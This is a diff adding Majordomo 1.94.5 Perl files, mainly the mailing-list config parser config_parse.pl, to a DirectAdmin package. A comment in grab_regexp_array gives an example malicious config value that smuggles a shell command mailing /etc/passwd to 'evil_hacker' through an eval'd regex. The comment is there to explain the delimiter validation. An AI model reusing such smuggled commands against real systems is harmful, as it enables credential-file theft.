&bad("\$whereami hasn't been changed yet!"); +} else { + &good("yup!"); +} + +&header("end of tests"); + +print "\n\n"; + +if ($BAD) { + print "$BAD bad ", $BAD == 1 ? "thing was" : "things were", " found.\n"; + print "Please fix before attempting to run Majordomo.\n"; +} else { + print <<"ZOT"; +Nothing bad found! Majordomo _should_ work correctly. + +If it doesn't, check your configuration file + ($cf) +closely, and if it still looks okay, consider asking the majordomo-users +mailing list at "majordomo-users\@greatcircle.com" for assistance. Be sure +and fully specify what your problems are, and what type of machine (and +operating system) you are using. + +Enjoy! + +ZOT + +#' + + if ( ! -e $registration_file || + `cat $registration_file` ne $majordomo_version) { + print <<"ZOT"; +I see you haven't registered this version of Majordomo. +By registering, you will be notified of patches and further releases +of Majordomo. Shall I send email to majordomo-registration\@greatcircle.com +to register this version? (I'll cc $whoami_owner) +ZOT + +#' + print "[yes] "; + if ( <> !~ /n/i) { + open(RF,">$registration_file") + || die "couldn't create $registration_file, $!"; + print RF $majordomo_version; + close RF; + + $sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; + $bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + &set_abort_addr($whoami_owner); + &set_mail_from($whoami); $x = $whoami; # Keeps -w happy + &set_mail_sender($whoami_owner); + &set_mailer($bounce_mailer); + + &sendmail(REG, "majordomo-registration\@greatcircle.com,$whoami_owner", + "Majordomo Registration"); + print REG "Majordomo Version: $majordomo_version\n"; + print REG "Perl version $]\n"; + print REG "Majordomo Owner: $whoami_owner\n"; + print REG "Uname: " . `uname -a`; + close REG; + } else { + print "Ooooh, like to live dangerously, eh?!\n\n"; + } + } + +} + + +###################################################################### +sub good { print "Good: $_[0]\n"; } + +sub bad { print "BAD: $_[0]\n"; $BAD++;} + +sub header { + if (length $_[0]) { + print '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), + " $_[0] ", '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), "\n"; + } else { + print '-' x 60, "\n"; + } +} + +# +# that's all folks + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl new file mode 100644 index 0000000..5d2bbf2 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl @@ -0,0 +1,1511 @@ +'di'; +'ig00'; +# A file to parse a majordomo mailing list config file +# +# writes into the global variable %main'config_opts +# + +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $ +# $Modified: Fri Jan 7 14:59:49 2000 by cwilson $ + +# this array holds the interesting info for use by all tools +%main'config_opts=(); + +require 'shlock.pl'; + +# here is the config package +package config; + +$config'debug = 0; #Set to non-zero for various debugging levels + +$clobber = 1; # if 0 don't empty previous list entries for configuration + +@errors = (); # The config'errors array is used to store error messages + # if the array is not empty, it causes main'get_config() + # to return 1. + +$installing_defaults = 0; # Set to 1 when installing defaults, in case + # a grab_ function needs to act differently + # when dealing with a default item. + +## Begin +## The following associative arrays are used: +## +## %known_keys(keyword,default value) -- defines the known keys in the +## config file. A null value implies that the +## string is undefined. A default value with '#!' +## at the beginning causes the string to be +## eval'ed. This is useful for substituting the +## list name etc into the string. If the keyword +## takes on a descrete set of values, the +## parse function MUST be grab_enum. The value of +## known_keys is the list of +## enumerated values. The separator character is +## "\001". Added onto the end is the default +## value. If the value can take on numerous +## values (i.e. is an array), the value is a +## string with each element in the array +## separated by "\001". +## +## %comments(keyword, comment) -- keeps comments for each keyword +## The comments are printed out when making a config +## file. So that they will document the use of +## the keyword. +## +## %parse_function(key, function) -- The function to use to parse the +## value for a given key. All functions for this +## purpose begin with "grab_", and are in package +## config. The type of the function can be +## appended with __ to the name of the +## function. There are some special names for +## some of the functions. Any function that +## allows array values must end in _array. This +## allows the main parser to determine that an +## array syntax is allowable for the keyword. +## +## %subsystem(keyword, subsystem) -- tells what subsystem each keyword +## belongs to. By default only majordomo, and +## resend are used as subsystems. This is meant +## for extentions such as majordomo-mh that +## allows access to the mh mail package via +## majordomo. +## End + +# provide list of known keys. If value is '', then the key is undefined +# I.e. the action is just as though there was no keyword found. +# otherwise the value is the default value for the keyword. +# if the value starts with #!, the rest of the value is eval'ed +%known_keys = ( + 'welcome', 'yes', # send welcome msg to new subscribers + 'announcements', 'yes', # send sub/unsub audits to list owner + 'get_access', "open\001closed\001list\001list", # open, anyone can access + 'index_access', "open\001closed\001list\001open", # closed, nobody can + 'who_access', "open\001closed\001list\001open", # list, only list can access. + 'which_access', "open\001closed\001list\001open", # ...more to come... + 'info_access', "open\001closed\001list\001open", # + 'intro_access', "open\001closed\001list\001list", # + 'advertise', '', # if regexp matches address show list + 'noadvertise', '', # if regexp matches address + # don't show list + 'description', '', # description of list, one line 55 char + 'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'", + # open, closed, or auto. + 'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'", + # open, closed, or auto. + 'mungedomain', 'no', # is user@foo.com == user@host.foo.com + 'admin_passwd', '#!"$list.admin"', # administration password + 'strip', 'yes', # remove comments from address on list + 'date_info', 'yes', # date the info file when installed + 'date_intro', 'yes', # date the intro file when installed + 'archive_dir', '', +# When it works use '#!$main\'filedir . "/" . $list', +# stuff for resend below + 'moderate', 'no', # Is list moderated + 'moderator', '', # moderator instead of owner-list + 'approve_passwd', '#!"$list.pass"', + # password for approving postings + 'sender', '#!"owner-" . $list', # Set sender name + 'maxlength', '40000', # Set max article length + 'precedence', 'bulk', # Set/install precendence header + 'reply_to', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/) { + $TEMP =~ s/-digest$//; + $TEMP; + } else { + ""; + }', + # Set/install reply-to header + # the code above sets the reply-to + # to null if it is not a -digest list, + # or the non-digest list if it is + # a -digest list. + 'restrict_post', '', # Like -I in resend + 'purge_received', 'no', # Remove received lines + 'administrivia', 'yes',# Enable administrivia checks + 'resend_host', '', # Change the host name + 'debug', 'no', # enable resend debugging + 'message_fronter', '', + 'message_footer', '', # text to be added at bottom of posting + 'message_headers', '', # headers to be added to messsages + 'subject_prefix', '', # prefix for the subject line + 'taboo_headers', '', # if a header matches, review message + 'taboo_body', '', # if body matches, review message +# stuff for digest below + 'digest_volume', '1', + 'digest_issue', '1', + 'digest_work_dir', '', + 'digest_name', '#!$list', + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', + 'digest_maxlines', '', + 'digest_maxdays', '', +# general stuff below + 'comments', '', # comments about config file + ); + +# An associative array of comments for all of the keys +# The text is wrapped and filled on output. +%comments = ( +'welcome', +"If set to yes, a welcome message (and optional 'intro' file) will be +sent to the newly subscribed user.", + +'announcements', +"If set to yes, comings and goings to the list will be sent to the list +owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational +only (no action is required), although it is highly recommended that they +be monitored to watch for list abuse.", + +'get_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'index_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'who_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'which_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'info_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'intro_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'advertise', +"If the requestor email address matches one of these +regexps, then the list will be listed +in the output of a lists command. +Failure to match any regexp excludes the list from +the output. The regexps under noadvertise override these regexps.", + +'comments', +"Comment string that will be retained across config file rewrites.", + +'noadvertise', +"If the requestor name matches one of these +regexps, then the list will not be listed +in the output of a lists command. +Noadvertise overrides advertise.", + +'description', +"Used as description for mailing list +when replying to the lists command. +There is no quoting mechanism, and +there is only room for 50 or so +characters.", + +'subscribe_policy', +"One of three values: open, closed, auto; plus an optional +modifier: '+confirm'. Open allows people to subscribe themselves to +the list. Auto allows anybody to subscribe anybody to the list without +maintainer approval. Closed requires maintainer approval for all +subscribe requests to the list. Adding '+confirm', ie, +'open+confirm', will cause majordomo to send a reply back to the +subscriber which includes a authentication number which must be sent +back in with another subscribe command.", + +'unsubscribe_policy', +"One of three values: open, closed, auto; plus an optional modifier: +'+confirm'. Open allows people to unsubscribe themselves from the +list. Auto allows anybody to unsubscribe anybody to the list without +maintainer approval. The existence of the file .auto is the +same as specifying the value auto. Closed requires maintainer +approval for all unsubscribe requests to the list. In addition to the +keyword, if the file .closed exists, it is the same as +specifying the value closed. Adding '+confirm', ie, 'auto+confirm', +will cause majordomo to send a reply back to the subscriber if the +request didn't come from the subscriber. The reply includes a +authentication number which must be sent back in with another +subscribe command. The value of this keyword overrides the value +supplied by any existent files.", + +'mungedomain', +"If set to yes, a different method is used to determine a matching +address. When set to yes, addresses of the form user\@dom.ain.com are +considered equivalent to addresses of the form user\@ain.com. This +allows a user to subscribe to a list using the domain address rather +than the address assigned to a particular machine in the domain. This +keyword affects the interpretation of addresses for subscribe, +unsubscribe, and all private options.", + +'admin_passwd', +"The password for handling administrative +tasks on the list.", + +'strip', +"When adding address to the list, strip off all +comments etc, and put just the raw address in the +list file. In addition to the keyword, if the file +.strip exists, it is the same as +specifying a yes value. That yes value is overridden +by the value of this keyword.", + +'date_info', +"Put the last updated date for the info file at the +top of the info file rather than having it appended +with an info command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'date_intro', +"Put the last updated date for the intro file at the +top of the intro file rather than having it appended +with an intro command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'moderate', +"If yes, all postings to the list will be +bounced to the moderator for approval.", + +'moderator', +"Address for directing posts which require approval. Such +approvals might include moderated mail, administrivia traps, +and restrict_post authorizations. If the moderator address +is not set, it will default to the list-approval address.", + +'approve_passwd', +"Password to be used in the approved header +to allow posting to moderated list, or +to bypass resend checks.", + +'sender', +"The envelope and sender address for the +resent mail. This string has \"\@\" and the value +of resend_host appended to it to make a +complete address. For majordomo, it provides the sender address +for the welcome mail message generated as part of the subscribe command.", + +'maxlength', +"The maximum size of an unapproved message in characters. When used +with digest, a new digest will be automatically generated if the size +of the digest exceeds this number of characters.", + +'precedence', +"Put a precedence header with value +into the outgoing message.", + +'reply_to', +"Put a reply-to header with value +into the outgoing message. If the token \$SENDER is used, then the +address of the sender is used as the value of the reply-to header. +This is the value of the reply-to header for digest lists.", + +'restrict_post', +"If defined, only addresses listed in these files (colon or +space separated) can post to the mailing list. By default, +these files are relative to the lists directory. These files +are also checked when get_access, index_access, info_access, +intro_access, which_access, or who_access is set to 'list'. +This is less useful than it seems it should be since there +is no way to create these files if you do not have access to +the machine running resend. This mechanism will be replaced +in a future version of majordomo/resend.", + +'resend_host', +"The host name that is appended to all address +strings specified for resend.", + +'purge_received', +"Remove all received lines before resending the message.", + +'administrivia', +"Look for administrative requests (e.g. subscribe/unsubscribe) and forward +them to the list maintainer instead of the list.", + +'debug', +"Don't actually forward message, just go though the motions.", + +'archive_dir', +"The directory where the mailing list archive is kept. This item does +not currently work. Leave it blank.", + +'message_fronter', +"Text to be prepended to the beginning of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, only the expansion token _SUBJECTS_ is +available, and it expands to the list of message subjects in the digest", + +'message_footer', +"Text to be appended at the end of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, no expansion tokens are provided", + +'message_headers', +"These headers will be appended to the headers of the posted message. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo.", + +'subject_prefix', +"This word will be prefixed to the subject line, if it is not already +in the subject. The text is expanded before being used. The following +expansion tokens are defined: \$LIST - the name of the current list, +\$SENDER - the sender as taken from the from line, \$VERSION, the +version of majordomo.", + +'taboo_headers', +"If any of the headers matches one of these regexps, then the message +will be bounced for review.", + +'taboo_body', +"If any line of the body matches one of these regexps, then the message +will be bounced for review.", + +'digest_volume', +"The current volume number", + +'digest_issue', +"The issue number of the next issue", + +'digest_work_dir', +"The directory used as scratch space for digest. Don't +change this unless you know what you are doing", + +'digest_name', +"The subject line for the digest. This string has the volume + and issue appended to it.", + +'digest_archive', +"The directory where the digest archive is kept. This item does +not currently work. Leave it blank.", + +'digest_rm_footer', "The value is the name of the list that applies +the header and footers to the messages that are received by +digest. This allows the list supplied headers and footers to be +stripped before the messages are included in the digest.", + +'digest_rm_fronter', +'Works just like digest_rm_footer, except it removes the front material.', + +'digest_maxlines', +"automatically generate a new digest when the size of the digest exceeds +this number of lines.", + +'digest_maxdays', +"automatically generate a new digest when the age of the oldest article in +the queue exceeds this number of days.", +); + +# match commands to their subsystem, by default only 4 subsystems +# exist, majordomo, resend, digest and config. +%subsystem = ( + 'welcome', 'majordomo', + 'announcements', 'majordomo', + 'get_access', 'majordomo', + 'index_access', 'majordomo', + 'info_access', 'majordomo', + 'intro_access', 'majordomo', + 'who_access', 'majordomo', + 'which_access', 'majordomo', + 'advertise', 'majordomo', + 'noadvertise', 'majordomo', + 'description', 'majordomo', + 'subscribe_policy', 'majordomo', + 'unsubscribe_policy', 'majordomo', + 'mungedomain', 'majordomo', + 'admin_passwd', 'majordomo', + 'strip', 'majordomo', + 'date_info', 'majordomo', + 'date_intro', 'majordomo', + 'archive_dir', 'majordomo', +# stuff for resend below + 'moderate', 'resend', + 'moderator', 'resend', + 'approve_passwd', 'resend', + 'sender', 'majordomo,resend,digest', + 'maxlength', 'resend,digest', + 'precedence', 'resend,digest', + 'reply_to', 'resend,digest', + 'restrict_post', 'resend', + 'purge_received', 'resend', + 'administrivia', 'resend', + 'resend_host', 'resend', + 'debug', 'resend', + 'message_fronter', 'resend,digest', + 'message_footer', 'resend,digest', + 'message_headers', 'resend,digest', + 'subject_prefix', 'resend', + 'taboo_headers', 'resend', + 'taboo_body', 'resend', +# digest here + 'digest_volume', 'digest', + 'digest_issue', 'digest', + 'digest_work_dir', 'digest', + 'digest_name', 'digest', + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', + 'digest_maxlines', 'digest', + 'digest_maxdays', 'digest', +# general stuff here + 'comments', 'config', +); + +# match a parse function to a keyword +# the parse function will be called to parse the value string for +# the keyword +%parse_function = ( + 'welcome', 'grab_bool', + 'announcements', 'grab_bool', + 'get_access', 'grab_enum', + 'index_access', 'grab_enum', + 'info_access', 'grab_enum', + 'intro_access', 'grab_enum', + 'who_access', 'grab_enum', + 'which_access', 'grab_enum', + 'advertise', 'grab_regexp_array', + 'noadvertise', 'grab_regexp_array', + 'description', 'grab_string', + 'subscribe_policy', 'grab_enum', + 'unsubscribe_policy', 'grab_enum', + 'mungedomain', 'grab_bool', + 'admin_passwd', 'grab_word', + 'strip', 'grab_bool', + 'date_info', 'grab_bool', + 'date_intro', 'grab_bool', + 'archive_dir', 'grab_absolute_dir', +# stuff for resend below + 'moderate', 'grab_bool', + 'moderator', 'grab_word', + 'approve_passwd', 'grab_word', + 'sender', 'grab_word', + 'maxlength', 'grab_integer', + 'precedence', 'grab_word', + 'reply_to', 'grab_word', + 'restrict_post', 'grab_restrict_post', + 'purge_received', 'grab_bool', + 'administrivia', 'grab_bool', + 'resend_host', 'grab_word', + 'debug', 'grab_bool', + 'message_fronter', 'grab_string_array', + 'message_footer', 'grab_string_array', + 'message_headers', 'grab_string_array', + 'subject_prefix', 'grab_word', + 'taboo_headers', 'grab_regexp_array', + 'taboo_body', 'grab_regexp_array', +# stuff for digest below + 'digest_volume', 'grab_integer', + 'digest_issue', 'grab_integer', + 'digest_work_dir', 'grab_absolute_dir', + 'digest_name', 'grab_string', + 'digest_directory', 'grab_absolute_dir', + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', + 'digest_maxlines', 'grab_integer', + 'digest_maxdays', 'grab_integer', +# general stuff below + 'comments', 'grab_string_array', + ); + + + +#### writeconfig +# is called to create up a default config file +# if majordomo runs and access a list for which no config +# file exists. The config file must already be locked. +# +# It is also called in response to the majordomo command "writeconfig" + +sub writeconfig { + local($listdir,$list) = @_; + local($key,$intro,$type,$value,$default,$subsystem,$comment) = (); + local($op) = '='; + local($oldumask) = umask($config_umask); + + + format OUT = + + @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + $key, $intro + ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~ + $comment +@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< +$key, $op, $value +. + + &main'open_temp(OUT, "$listdir/$list.config.out") + || &main'abort("Can't create new config file $listdir/$list.config.out"); + umask($oldumask); + +$installing_defaults = 1; + +foreach $key (sort (keys(%known_keys))) { + local($enum,@enum); + undef $enum; + + $type = $parse_function{$key}; + $type =~ s/^grab_//; # remove the grab_ prefix + $type =~ s/^.*__//; # If we have an explicit type, get it + + @enum = split(/\001/,$known_keys{$key}) if $type eq "enum"; + $default = pop(@enum); # Remove the default + + $value = $main'config_opts{$list,$key};#'; + $value = ("no","yes")[$value] if $type eq "bool"; + + $default = ($known_keys{$key} eq '' + ? "undef" + : &get_def($key, $known_keys{$key}, $list)); + $default = ("no","yes")[$default] if $type eq "bool"; + $default =~ s/\001/;/g; + $subsystem = $subsystem{$key}; + + $enums = join(';',@enum[$[..$#enum]) if $type eq "enum"; + + $intro = "[$type] ($default) <$subsystem>"; + + $intro .= " /$enums/" if $type eq "enum"; + + $comment = (defined $comments{$key} ? $comments{$key} : " "); + + if ($type =~ /_array/) { + # output items in array normal form + local($lval) = $value; + $value = "END"; + $op = '<<'; + write(OUT); + + + # handle the - escapes. We have to be careful about ordering + # the rules so that we don't accidently trigger a substitution + # if there is a - at the beginning of an entry, double it + # so that the doubled - can be striped when read in later + $lval =~ s/^-/--/g; # start with -'ed line + $lval =~ s/\001-/\001--/g; # embedded line starting with - + + # In standard form, empty lines are lines that have only + # a '-' on the line. + $lval =~ s/^\001/-\001/g; # start with blank line + $lval =~ s/\001\001/\001-\001/g; # embedded blank line + $lval =~ s/\001$/\001-/g; # trailing blank line + + # if there is space, protect it with a - + $lval =~ s/^(\s)/-$1/g; # the first line + $lval =~ s/\001(\s)/\001-$1/g; # embedded lines + + # now that all of the escapes are processed, get it ready + # to be printed. + $lval =~ s/\001/\n/g; + + print OUT $lval, "\nEND\n" + || &main'abort("Error writing config file for $list, $!"); + + $op = '='; + } else { + write(OUT) + || &main'abort("Error writing config file for $list, $!"); + } +} + +$installing_defaults = 0; + +close(OUT); + +# I have to post process the output to put the %#@^& comment character +# in. I can't do this in a forked process without getting a mix of the +# stdin to the parent and the child with Perl 4.019. + +open(MCONFIG, "> $listdir/$list.config") || + &main'abort( "Can't create new config file $listdir/$list.config"); + +print MCONFIG <'s. (undef) as default value means that the keyword is not +# defined or used. +EOS + +open(IN, "< $listdir/$list.config.out") || + &main'abort( "Can't create new config file $listdir/$list.config.out"); + +while () { + s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the + # beginning preserving indentation. + print(MCONFIG) || + &main'abort("Couldn't write new config for $list, $!"); +} + +close(MCONFIG); +close(IN); +unlink("$listdir/$list.config.out"); +} + +#### handle_flag_files +# This is a compatibility routine for the non-config file +# based version of majordomo. It looks for the flag files, and +# sets the corresponding config file parameters. + +sub handle_flag_files { + local($listdir, $list) = @_; + + if ( -e "$listdir/$list.private") { + $main'config_opts{$list,"get_access"} = "closed"; + $main'config_opts{$list,"index_access"} = "closed"; + $main'config_opts{$list,"who_access"} = "closed"; + $main'config_opts{$list,"which_access"} = "closed"; + } + + $main'config_opts{$list,"subscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + $main'config_opts{$list,"unsubscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") { + push(@errors, + "Both listname.auto and listname.closed exist. Choosing closed\n"); + } else { + $main'config_opts{$list,"subscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + + $main'config_opts{$list,"unsubscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + } + + $main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip"); + $main'config_opts{$list,"noadvertise"} = "/.*/" + if ( -e "$listdir/$list.hidden"); +} + +######## +# +# The function that does all of the real work. +# Called with a list directory, a list name, and optionally a flag +# that indicates the config file is already locked if true (and +# should be left locked on return). +# +# List config file locking is different than other files in that a +# distinct lock file is used instead of just lopen() locking because +# it's easier to manage a persistent lock than to try to keep the file +# open (and thus locked) and pass the filehandle around. +# +sub main'get_config { + local($listdir, $list, $locked) = @_; + local($parse, $here_doc, $stop, $end) = (); + $end = 0; + + @errors = (); + + print STDERR "get_config($listdir, $list)\n" if $debug > 1; + + if ($main'config_opts{$list} && $clobber) { + # hey a reload, better clobber all previous + # entries pertaining to this list + local($i); + print STDERR "unloading entries for $list\n" if $debug > 1; + foreach $i (keys(%known_keys)) { + undef $main'config_opts{$list,"$i"}; + } + } + + $main'config_opts{$list,''} = '1'; # set a flag to indicate that we + # have parsed the config file for + # this list + print STDERR "adding site-wide defaults\n" if $debug > 1; + + $installing_defaults = 1; + + foreach $i (keys(%known_keys)) { + $main'config_opts{$list,$i} = + &get_def($i, $known_keys{$i}, $list); + } + + $installing_defaults = 0; + + + print STDERR "Overriding with existing config files\n" if $debug > 1; + &handle_flag_files($listdir, $list); # this looks for files of + # the form listname.function + + unless ($locked) { + &main'set_lock("$listdir/$list.config.LOCK") || + &main'abort( "Can't get lock for $listdir/$list.config"); + } + + print("making default\n") + if ($debug > 1) && (! -e "$listdir/$list.config"); + + &writeconfig($listdir, $list) + unless -e "$listdir/$list.config" ; + + print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; + open(CONFIG, "$listdir/$list.config") + || &main'abort( "Can't open $listdir/$list.config"); + + while ($_ = ) { + + next if /^\s*(#|$)/; # remove comment and blank lines + chop $_; # remove the trailing \n + s/#.*//; # remove comments at the end of lines + + $here_doc = 0; + + ($key,$value) = split(/=/, $_, 2); # try splitting on = + if ($key =~ /\<\) { + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $end = 0, last if $stop eq $value; + push(@errors, + "invalid blank line found at line ", $. - 1, "\n"), $end = 0, + last if $end == 1; + + if ( $value eq '' ) { # stop accumulating on empty line + # unless it is right b4 $stop + $end = 1; + } + + # call the parse function for every value in the here document + # take the output of the parse function and add it to the + # string representation of the array. In the string representation, + # array values are separated by the ^A character. + + if (defined($main'config_opts{$list,$key})) { + $main'config_opts{$list,$key} .= "\001" . + &$parse($value, $list, $key); + } else { # we are starting an array + $main'config_opts{$list,$key} = + &$parse($value, $list, $key); + } + } + } + } + +close(CONFIG); + +&main'free_lock("$listdir/$list.config.LOCK") unless $locked; + +print STDERR @errors if $debug > 1; + +return 1 if @errors; +return 0; +} + +##### +# +# The grab functions that validate values are defined below: +# +# grab_absolute_dir - looks for root anchored existing directory +# uses @main'safedirs to determine valid +# paths. +# grab_absolute_file - looks for root anchored existing file +# uses @main'safefiles to determine valid +# paths. +# +# grab_bool - parses boolean options "yes", "y", "no", "n" +# +# grab_enum -- validates an enumerated value from a sequence +# +# grab_integer -- validates an integer +# +# grab_regexp -- validates a regexp. Must have leading and trailing +# match delimiters. +# +# grab_restrict_post -- validates the existance of files listed +# +# grab_string -- reads/returns a string. No checking is done. +# +# grab_word - grabs one whitespace delimited word. Complains if more +# than 1 word. +#### + +sub grab_absolute_dir { + local($dir, $list, $key) = @_; + + return(""); + return ("") if $dir eq "undef"; + return ("") if $dir eq ""; + + push(@errors, "Relative path element '..' in $dir is not allowed\n") + if $dir =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $dir is not allowed\n") + if $dir =~ m#/\./# ; + + push(@errors, "$dir must be root anchored\n") + if $dir !~ m#^/# ; + + foreach $i (@main'safedirs) { + if ($dir =~ m#$i#) { + return $dir if ( -d $dir ); + push(@errors, "Directory $dir doesn't exist\n"); + return ""; + } + } + + push(@errors, "Directory $dir is not safe\n"); + return ""; +} + +sub grab_absolute_file { + local($file) = @_; + + return(""); + push(@errors, "Relative path element '..' in $file is not allowed\n") + if $file =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $file is not allowed\n") + if $file =~ m#/\./# ; + + push(@errors, "$file must be root anchored\n") + if $file != m#^/# ; + + foreach $i (@main'safefiles) { + if ($file =~ "m#$i#") { + return $file if ( -f $file ); + push(@errors, "File $file doesn't exist\n"); + return ""; + } + } + + push(@errors, "File $file is not safe\n"); + return ""; +} + +sub grab_bool { +local($bool) = @_; + + $bool =~ tr/A-Z/a-z/; + + return 1 if $bool eq "yes"; + return 1 if $bool eq "y"; + return 0 if $bool eq "no"; + return 0 if $bool eq "n"; + + push(@errors,"Unknown boolean value $bool in config file at line $.\n"); + return 0; +} + +sub grab_enum { + local($value, $list, $key) = @_; + local($i, @enum) = ""; + local($default_value) = ""; + + if ($installing_defaults) { # the value when installing defaults is + # the entire enumerated list, with the + # default at the end + @enum = split(/\001/, $value); + $value = pop(@enum); + + $default_value = $value; + + if ( $value =~ s/^#!// ) { + $default_value = $value; + + $value = eval("$value"); + push(@errors, $@) if $@ ne ""; + + } + + # + # duplicate here for better error message during + # default setup. + # + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "This value was taken from the default list.\n" . + "It was produced by $default_value\n" . + "So it is likely to be taken from majordomo.cf.\n" . + "BTW, the line number shown here is the line number of the last line and not relevant.\n" . + "The key to which the value was assigned was $key " . "\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" ); + + return ""; + + + } else { + @enum = split(/\001/, $known_keys{$key}); + pop(@enum); + } + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" . + " the key was $key " . "\n" . + "installing_default was $installing_defaults" . "\n"); + + + return ""; +} + +sub grab_integer { + local($num, $list, $key)=@_; + return($num) if $num =~ /^[1-9][0-9]*$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not an integer at line $.\n"); + return ""; +} + +sub grab_integer_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, "$num is not an integer at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_float { + local($num)=@_; + return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not a floating point number at line $.\n"); + return ""; +} + +sub grab_float_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, + "$num is not an floating point number at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_regexp_array { + local($value, $list, $key) = @_; + local(@re_array) = split(/\001/,$value); + local(@return_re, @re_errors, $re, $dlm) = (); + + foreach $re (@re_array){ + if ($re =~ /\001/) { + push(@re_errors, + "regular expression |$re| contains a ^A at line $.\n"); + } + # if we don't check for an extra deliminator here, an + # evil person could sneak stuff in here, since it + # is eval'd... + # Ie: + # advertise = << END + # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: + # END + # + elsif ($re !~ m:^((/)|m([^\w\s])):) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } + } + } + + if (@re_errors) { + push(@errors, @re_errors); + return ""; + } + return (join("\001", @return_re)); +} + +sub grab_restrict_post { + local($list) = @_; + local(@files) = (); + + @files = split (/[:\s]+/, $list); + 